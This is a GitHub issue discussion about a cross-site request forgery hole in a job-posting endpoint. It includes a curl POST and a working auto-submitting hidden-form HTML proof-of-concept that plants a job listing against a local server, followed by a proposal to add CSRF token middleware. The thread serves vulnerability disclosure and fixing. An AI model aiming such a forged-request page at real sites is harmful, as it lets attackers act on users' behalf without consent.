kevinfalting
commented
1 year ago We can post to submit a new job via:
$ curl -d "position=csrf&organization=my_org&url=http://virus.com&description=a_short_description_about_csrf&email=a@b.c" -X POST http://localhost:8080/jobsWhich we might expect, but still may not exactly want to just leave this open for anyone to post to.
Attempted to perform a csrf attack with this:
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost:8080/jobs" method="POST">
<input type="hidden" name="position" value="csrf" />
<input type="hidden" name="organization" value="my org" />
<input type="hidden" name="url" value="https://virus.com" />
<input type="hidden" name="description" value="csrf exploit" />
<input type="hidden" name="email" value="a@b.c" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>Which succeeded, you can open that html up in any browser and it will post to the site. It's currently targeting the local server, but could target the production site just as easily.
sethetter
To implement, we can generate a csrf token. There's an example of how this can be done here: https://github.com/utrack/gin-csrf, but we're not going to pull in that package to do it, and instead write our own middleware.
It looks like we're already using an in-memory session store, so we'll play with that to implement this csrf token middleware.
Reference: